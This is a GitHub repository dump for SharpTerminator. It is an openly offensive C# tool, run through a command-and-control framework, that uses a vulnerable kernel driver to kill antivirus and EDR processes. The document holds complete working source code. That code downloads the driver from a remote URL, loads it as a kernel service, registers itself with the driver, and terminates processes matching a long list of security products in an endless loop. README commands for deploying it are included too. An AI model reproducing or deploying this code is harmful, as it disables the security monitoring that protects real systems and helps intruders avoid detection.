├── README.md
├── SharpTerminator.sln
├── SharpTerminator
├── App.config
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── SharpTerminator.csproj
└── obj
│ ├── Debug
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ └── SharpTerminator.csproj.AssemblyReference.cache
│ └── Release
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── SharpTerminator.csproj.AssemblyReference.cache
│ ├── SharpTerminator.csproj.CoreCompileInputs.cache
│ ├── SharpTerminator.csproj.FileListAbsolute.txt
│ ├── SharpTerminator.csproj.SuggestedBindingRedirects.cache
│ ├── SharpTerminator.exe
│ └── SharpTerminator.pdb
├── Vdriver
└── Terminator.sys
└── sharpterminator-url.PNG
/README.md:
--------------------------------------------------------------------------------
1 | # SharpTerminator
2 |
3 | C# port of ZeroMemoryEx's Terminator, so all hail goes to him.
4 |
5 | # Usage
6 |
7 | You can download the driver from a remote URL using SharpTerminator and load it to terminate AV/EDR processes, or you can directly load it to the disk to perform the same operation.
8 |
9 | When using Remote URL, the driver is downloaded to "C:\Windows\Temp" and then loaded from there.
10 |
11 | In fact, there is no difference between them; if you don't want to use the upload function in your C2, you can use the other one.
12 |
13 | Loading from remote url:
14 | ```
15 | execute-assembly SharpTerminator.exe --url "http://remoteurl.com:80/Terminator.sys"
16 | ```
17 | Loading from disk:
18 | ```
19 | execute-assembly SharpTerminator.exe --disk "C:\path\to\driver\Terminator.sys"
20 | ```
21 |
22 |
23 | ### Download driver from remote url and terminate AV/EDR:
24 |
25 | 
26 |
27 |
28 | ### Load driver from disk and terminate AV/EDR:
29 |
30 | 
31 |
32 | # Known Issue
33 | If you get "Failed to register the process in the trusted list!" error you should add service manually:
34 | ```
35 | sc create Terminator binPath= "C:\path\to\driver.sys" type= kernel start= demand
36 | ```
37 |
38 | # Credit
39 | ZeroMemoryEx https://github.com/ZeroMemoryEx/Terminator
40 | Spyboy :)
41 |
42 |
--------------------------------------------------------------------------------
/SharpTerminator.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.6.33723.286
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpTerminator", "SharpTerminator\SharpTerminator.csproj", "{6634B45E-1BC1-4558-B9A7-34604E727DFA}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {6634B45E-1BC1-4558-B9A7-34604E727DFA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {6634B45E-1BC1-4558-B9A7-34604E727DFA}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {6634B45E-1BC1-4558-B9A7-34604E727DFA}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {6634B45E-1BC1-4558-B9A7-34604E727DFA}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {25A1497C-EA7D-46A8-B9D9-CF995991067F}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/SharpTerminator/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SharpTerminator/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.IO;
4 | using System.Net;
5 | using System.Runtime.InteropServices;
6 | using System.Threading;
7 |
8 | class Program
9 | {
10 | const uint IOCTL_REGISTER_PROCESS = 0x80002010;
11 | const uint IOCTL_TERMINATE_PROCESS = 0x80002048;
12 |
13 | static readonly string[] edrList = {
14 | "activeconsole", "anti malware", "anti-malware",
15 | "antimalware", "anti virus", "anti-virus",
16 | "antivirus", "appsense", "authtap",
17 | "avast", "avecto", "canary",
18 | "carbonblack", "carbon black", "cb.exe",
19 | "ciscoamp", "cisco amp", "countercept",
20 | "countertack", "cramtray", "crssvc",
21 | "crowdstrike", "csagent", "csfalcon",
22 | "csshell", "cybereason", "cyclorama",
23 | "cylance", "cyoptics", "cyupdate",
24 | "cyvera", "cyserver", "cytray",
25 | "darktrace", "defendpoint", "defender",
26 | "eectrl", "elastic", "endgame",
27 | "f-secure", "forcepoint", "fireeye",
28 | "groundling", "GRRservic", "inspector",
29 | "ivanti", "kaspersky", "lacuna",
30 | "logrhythm", "malware", "mandiant",
31 | "mcafee", "morphisec", "msascuil",
32 | "msmpeng", "nissrv", "omni",
33 | "omniagent", "osquery", "palo alto networks",
34 | "pgeposervice", "pgsystemtray", "privilegeguard",
35 | "procwall", "protectorservic", "qradar",
36 | "redcloak", "secureworks", "securityhealthservice",
37 | "semlaunchsv", "sentinel", "sepliveupdat",
38 | "sisidsservice", "sisipsservice", "sisipsutil",
39 | "smc.exe", "smcgui", "snac64",
40 | "sophos", "splunk", "srtsp",
41 | "symantec", "symcorpu", "symefasi",
42 | "sysinternal", "sysmon", "tanium",
43 | "tda.exe", "tdawork", "tpython",
44 | "vectra", "wincollect", "windowssensor",
45 | "wireshark", "threat", "xagt.exe",
46 | "xagtnotif.exe", "mssense"
47 | };
48 |
49 | static bool LoadDriver(string driverPath)
50 | {
51 | IntPtr hSCM = NativeMethods.OpenSCManager(null, null, NativeMethods.ServiceManagerAccess.SC_MANAGER_ALL_ACCESS);
52 | if (hSCM == IntPtr.Zero)
53 | return false;
54 |
55 | IntPtr hService = NativeMethods.OpenService(hSCM, "Terminator", NativeMethods.ServiceAccess.SERVICE_ALL_ACCESS);
56 | if (hService != IntPtr.Zero)
57 | {
58 | Console.WriteLine("Service already exists.");
59 | NativeMethods.CloseServiceHandle(hService);
60 | NativeMethods.CloseServiceHandle(hSCM);
61 | return true;
62 | }
63 |
64 | hService = NativeMethods.CreateService(
65 | hSCM,
66 | "Terminator",
67 | "Terminator",
68 | NativeMethods.ServiceAccess.SERVICE_ALL_ACCESS,
69 | NativeMethods.ServiceType.SERVICE_KERNEL_DRIVER,
70 | NativeMethods.ServiceStartType.SERVICE_DEMAND_START,
71 | NativeMethods.ServiceErrorControl.SERVICE_ERROR_IGNORE,
72 | driverPath,
73 | null,
74 | IntPtr.Zero,
75 | null,
76 | null,
77 | null);
78 |
79 | if (hService == IntPtr.Zero)
80 | {
81 | NativeMethods.CloseServiceHandle(hSCM);
82 | return false;
83 | }
84 |
85 | NativeMethods.CloseServiceHandle(hService);
86 | NativeMethods.CloseServiceHandle(hSCM);
87 | return true;
88 | }
89 |
90 | static bool LoadDriverFromUrl(string driverUrl)
91 | {
92 | WebClient webClient = new WebClient();
93 | string driverFileName = Path.GetFileName(driverUrl);
94 | string driverPath = Path.Combine(@"C:\Windows\Temp", driverFileName);
95 |
96 | try
97 | {
98 | webClient.DownloadFile(driverUrl, driverPath);
99 | return LoadDriver(driverPath);
100 | }
101 | catch (Exception ex)
102 | {
103 | Console.WriteLine("Failed to download and load the driver: " + ex.Message);
104 | return false;
105 | }
106 | }
107 |
108 |
109 | static bool IsInEdrList(string processName)
110 | {
111 | string lowerProcessName = processName.ToLower();
112 | for (int i = 0; i < edrList.Length; i++)
113 | {
114 | if (lowerProcessName.Contains(edrList[i]))
115 | return true;
116 | }
117 | return false;
118 | }
119 |
120 | static int CheckEDRProcesses(IntPtr hDevice)
121 | {
122 | uint procId = 0;
123 | uint pOutbuff = 0;
124 | int ecount = 0;
125 | NativeMethods.PROCESSENTRY32 pE = new NativeMethods.PROCESSENTRY32();
126 | pE.dwSize = (uint)Marshal.SizeOf(typeof(NativeMethods.PROCESSENTRY32));
127 |
128 | IntPtr hSnap = NativeMethods.CreateToolhelp32Snapshot(NativeMethods.SnapshotFlags.TH32CS_SNAPPROCESS, 0);
129 |
130 | if (hSnap != IntPtr.Zero)
131 | {
132 | if (NativeMethods.Process32First(hSnap, ref pE))
133 | {
134 | do
135 | {
136 | string exeName = pE.szExeFile;
137 | if (IsInEdrList(exeName))
138 | {
139 | procId = pE.th32ProcessID;
140 | if (!NativeMethods.DeviceIoControl(hDevice, IOCTL_TERMINATE_PROCESS, ref procId,
141 | sizeof(uint), IntPtr.Zero, 0,
142 | out _, IntPtr.Zero))
143 | {
144 | Console.WriteLine("Failed to terminate {0}!!", exeName);
145 | }
146 | else
147 | {
148 | Console.WriteLine("Terminated {0}", exeName);
149 | ecount++;
150 | }
151 | }
152 | } while (NativeMethods.Process32Next(hSnap, ref pE));
153 | }
154 | NativeMethods.CloseHandle(hSnap);
155 | }
156 | return ecount;
157 | }
158 |
159 | static bool StartService(string serviceName)
160 | {
161 | try
162 | {
163 | Process.Start("sc", $"start {serviceName}");
164 | return true;
165 | }
166 | catch (Exception ex)
167 | {
168 | Console.WriteLine("Failed to start the service: " + ex.Message);
169 | return false;
170 | }
171 | }
172 |
173 | static void Main(string[] args)
174 | {
175 | if (args.Length < 2)
176 | {
177 | Console.WriteLine("Invalid arguments!");
178 | Console.WriteLine("Usage: SharpTerminator.exe --url or SharpTerminator.exe --disk ");
179 | return;
180 | }
181 |
182 | string argType = args[0].ToLower();
183 | string driverArg = args[1];
184 |
185 | if (argType == "--url")
186 | {
187 | Console.WriteLine("Loading driver from URL: " + driverArg);
188 | if (!LoadDriverFromUrl(driverArg))
189 | {
190 | Console.WriteLine("Failed to download and load the driver from URL.");
191 | return;
192 | }
193 | }
194 | else if (argType == "--disk")
195 | {
196 | Console.WriteLine("Loading driver from disk: " + driverArg);
197 | if (!LoadDriver(driverArg))
198 | {
199 | Console.WriteLine("Failed to load the driver from disk.");
200 | return;
201 | }
202 | }
203 | else
204 | {
205 | Console.WriteLine("Invalid argument type!");
206 | Console.WriteLine("Usage: SharpTerminator.exe --url or SharpTerminator.exe --disk ");
207 | return;
208 | }
209 |
210 | Console.WriteLine("Driver loaded successfully!");
211 |
212 | int startServiceDelayMilliseconds = 2000;
213 | int registerProcessDelayMilliseconds = 3000;
214 |
215 | if (!StartService("Terminator"))
216 | {
217 | Console.WriteLine("Failed to start the service.");
218 | return;
219 | }
220 |
221 | Console.WriteLine("Service started successfully!");
222 |
223 | Console.WriteLine("Waiting for {0} milliseconds after starting the service...", startServiceDelayMilliseconds);
224 | Thread.Sleep(startServiceDelayMilliseconds);
225 |
226 | IntPtr hDevice = NativeMethods.CreateFile(
227 | @"\\.\\ZemanaAntiMalware",
228 | NativeMethods.GenericAccess.GENERIC_WRITE | NativeMethods.GenericAccess.GENERIC_READ,
229 | NativeMethods.FileShare.FILE_SHARE_READ | NativeMethods.FileShare.FILE_SHARE_WRITE,
230 | IntPtr.Zero,
231 | NativeMethods.FileMode.OPEN_EXISTING,
232 | NativeMethods.FileFlagsAndAttributes.FILE_ATTRIBUTE_NORMAL,
233 | IntPtr.Zero);
234 |
235 | if (hDevice == IntPtr.Zero)
236 | {
237 | Console.WriteLine("Failed to open handle to driver!");
238 | return;
239 | }
240 |
241 | Console.WriteLine("Waiting for {0} milliseconds after opening handle to driver...", startServiceDelayMilliseconds);
242 | Thread.Sleep(startServiceDelayMilliseconds);
243 |
244 | uint input = (uint)Process.GetCurrentProcess().Id;
245 |
246 | if (!NativeMethods.DeviceIoControl(hDevice, IOCTL_REGISTER_PROCESS, ref input, sizeof(uint),
247 | IntPtr.Zero, 0, out _, IntPtr.Zero))
248 | {
249 | Console.WriteLine("Failed to register the process in the trusted list!");
250 | return;
251 | }
252 |
253 | Console.WriteLine("Process registered in the trusted list!");
254 |
255 | Console.WriteLine("Waiting for {0} milliseconds after registering the process...", registerProcessDelayMilliseconds);
256 | Thread.Sleep(registerProcessDelayMilliseconds);
257 |
258 | Console.WriteLine("Terminating ALL EDR/XDR/AVs ..");
259 | Console.WriteLine("Keep the program running to prevent Windows services from restarting them");
260 |
261 | while (true)
262 | {
263 | int edrProcessCount = CheckEDRProcesses(hDevice);
264 | if (edrProcessCount == 0)
265 | Thread.Sleep(1200);
266 | else
267 | Thread.Sleep(700);
268 | }
269 | }
270 | class NativeMethods
271 | {
272 | public static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
273 |
274 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
275 | public static extern IntPtr OpenSCManager(
276 | string machineName,
277 | string databaseName,
278 | ServiceManagerAccess desiredAccess);
279 |
280 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
281 | public static extern IntPtr OpenService(
282 | IntPtr hSCManager,
283 | string lpServiceName,
284 | ServiceAccess dwDesiredAccess);
285 |
286 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
287 | public static extern bool CloseServiceHandle(IntPtr hSCObject);
288 |
289 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
290 | public static extern IntPtr CreateService(
291 | IntPtr hSCManager,
292 | string lpServiceName,
293 | string lpDisplayName,
294 | ServiceAccess dwDesiredAccess,
295 | ServiceType dwServiceType,
296 | ServiceStartType dwStartType,
297 | ServiceErrorControl dwErrorControl,
298 | string lpBinaryPathName,
299 | string lpLoadOrderGroup,
300 | IntPtr lpdwTagId,
301 | string lpDependencies,
302 | string lpServiceStartName,
303 | string lpPassword);
304 |
305 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
306 | public static extern IntPtr CreateFile(
307 | string lpFileName,
308 | GenericAccess dwDesiredAccess,
309 | FileShare dwShareMode,
310 | IntPtr lpSecurityAttributes,
311 | FileMode dwCreationDisposition,
312 | FileFlagsAndAttributes dwFlagsAndAttributes,
313 | IntPtr hTemplateFile);
314 |
315 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
316 | public static extern bool DeviceIoControl(
317 | IntPtr hDevice,
318 | uint dwIoControlCode,
319 | ref uint lpInBuffer,
320 | int nInBufferSize,
321 | IntPtr lpOutBuffer,
322 | int nOutBufferSize,
323 | out int lpBytesReturned,
324 | IntPtr lpOverlapped);
325 |
326 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
327 | public static extern IntPtr CreateToolhelp32Snapshot(
328 | SnapshotFlags dwFlags,
329 | uint th32ProcessID);
330 |
331 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
332 | public static extern bool Process32First(
333 | IntPtr hSnapshot,
334 | ref PROCESSENTRY32 lppe);
335 |
336 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
337 | public static extern bool Process32Next(
338 | IntPtr hSnapshot,
339 | ref PROCESSENTRY32 lppe);
340 |
341 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
342 | public static extern bool CloseHandle(
343 | IntPtr hObject);
344 |
345 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
346 | public struct PROCESSENTRY32
347 | {
348 | public uint dwSize;
349 | public uint cntUsage;
350 | public uint th32ProcessID;
351 | public IntPtr th32DefaultHeapID;
352 | public uint th32ModuleID;
353 | public uint cntThreads;
354 | public uint th32ParentProcessID;
355 | public int pcPriClassBase;
356 | public uint dwFlags;
357 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
358 | public string szExeFile;
359 | }
360 |
361 | [Flags]
362 | public enum GenericAccess : uint
363 | {
364 | GENERIC_READ = 0x80000000,
365 | GENERIC_WRITE = 0x40000000
366 | }
367 |
368 | [Flags]
369 | public enum FileShare : uint
370 | {
371 | FILE_SHARE_READ = 0x1,
372 | FILE_SHARE_WRITE = 0x2,
373 | FILE_SHARE_DELETE = 0x4
374 | }
375 |
376 | public enum FileMode : uint
377 | {
378 | CREATE_NEW = 1,
379 | CREATE_ALWAYS = 2,
380 | OPEN_EXISTING = 3,
381 | OPEN_ALWAYS = 4,
382 | TRUNCATE_EXISTING = 5
383 | }
384 |
385 | [Flags]
386 | public enum FileFlagsAndAttributes : uint
387 | {
388 | FILE_ATTRIBUTE_NORMAL = 0x80,
389 | }
390 |
391 | [Flags]
392 | public enum SnapshotFlags : uint
393 | {
394 | TH32CS_SNAPPROCESS = 0x00000002
395 | }
396 |
397 | [Flags]
398 | public enum ServiceManagerAccess : uint
399 | {
400 | SC_MANAGER_ALL_ACCESS = 0xF003F
401 | }
402 |
403 | [Flags]
404 | public enum ServiceAccess : uint
405 | {
406 | SERVICE_ALL_ACCESS = 0xF01FF
407 | }
408 |
409 | public enum ServiceType : uint
410 | {
411 | SERVICE_KERNEL_DRIVER = 0x00000001,
412 | SERVICE_FILE_SYSTEM_DRIVER = 0x00000002
413 | }
414 |
415 | public enum ServiceStartType : uint
416 | {
417 | SERVICE_BOOT_START = 0x00000000,
418 | SERVICE_SYSTEM_START = 0x00000001,
419 | SERVICE_AUTO_START = 0x00000002,
420 | SERVICE_DEMAND_START = 0x00000003,
421 | SERVICE_DISABLED = 0x00000004
422 | }
423 |
424 | public enum ServiceErrorControl : uint
425 | {
426 | SERVICE_ERROR_IGNORE = 0x00000000,
427 | SERVICE_ERROR_NORMAL = 0x00000001,
428 | SERVICE_ERROR_SEVERE = 0x00000002,
429 | SERVICE_ERROR_CRITICAL = 0x00000003
430 | }
431 |
432 | public enum ServiceState : uint
433 | {
434 | SERVICE_STOPPED = 0x00000001,
435 | SERVICE_START_PENDING = 0x00000002,
436 | SERVICE_STOP_PENDING = 0x00000003,
437 | SERVICE_RUNNING = 0x00000004,
438 | SERVICE_CONTINUE_PENDING = 0x00000005,
439 | SERVICE_PAUSE_PENDING = 0x00000006,
440 | SERVICE_PAUSED = 0x00000007
441 | }
442 | }
443 | }
444 |
--------------------------------------------------------------------------------
/SharpTerminator/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpTerminator")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpTerminator")]
13 | [assembly: AssemblyCopyright("Copyright © 2023")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("6634b45e-1bc1-4558-b9a7-34604e727dfa")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpTerminator/SharpTerminator.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {6634B45E-1BC1-4558-B9A7-34604E727DFA}
8 | Exe
9 | SharpTerminator
10 | SharpTerminator
11 | v4.8
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/SharpTerminator/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/SharpTerminator/obj/Debug/SharpTerminator.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Debug/SharpTerminator.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/SharpTerminator/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/SharpTerminator/obj/Release/SharpTerminator.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/SharpTerminator.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/SharpTerminator/obj/Release/SharpTerminator.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | b1cac3c5db117414049b7ee1b7ead321fc446162
2 |
--------------------------------------------------------------------------------
/SharpTerminator/obj/Release/SharpTerminator.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\bin\Release\SharpTerminator.exe.config
2 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\bin\Release\SharpTerminator.exe
3 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\bin\Release\SharpTerminator.pdb
4 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.csproj.AssemblyReference.cache
5 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.csproj.SuggestedBindingRedirects.cache
6 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.csproj.CoreCompileInputs.cache
7 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.exe
8 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.pdb
9 |
--------------------------------------------------------------------------------
/SharpTerminator/obj/Release/SharpTerminator.csproj.SuggestedBindingRedirects.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/SharpTerminator.csproj.SuggestedBindingRedirects.cache
--------------------------------------------------------------------------------
/SharpTerminator/obj/Release/SharpTerminator.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/SharpTerminator.exe
--------------------------------------------------------------------------------
/SharpTerminator/obj/Release/SharpTerminator.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/SharpTerminator.pdb
--------------------------------------------------------------------------------
/Vdriver/Terminator.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/Vdriver/Terminator.sys
--------------------------------------------------------------------------------
/sharpterminator-url.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/sharpterminator-url.PNG
--------------------------------------------------------------------------------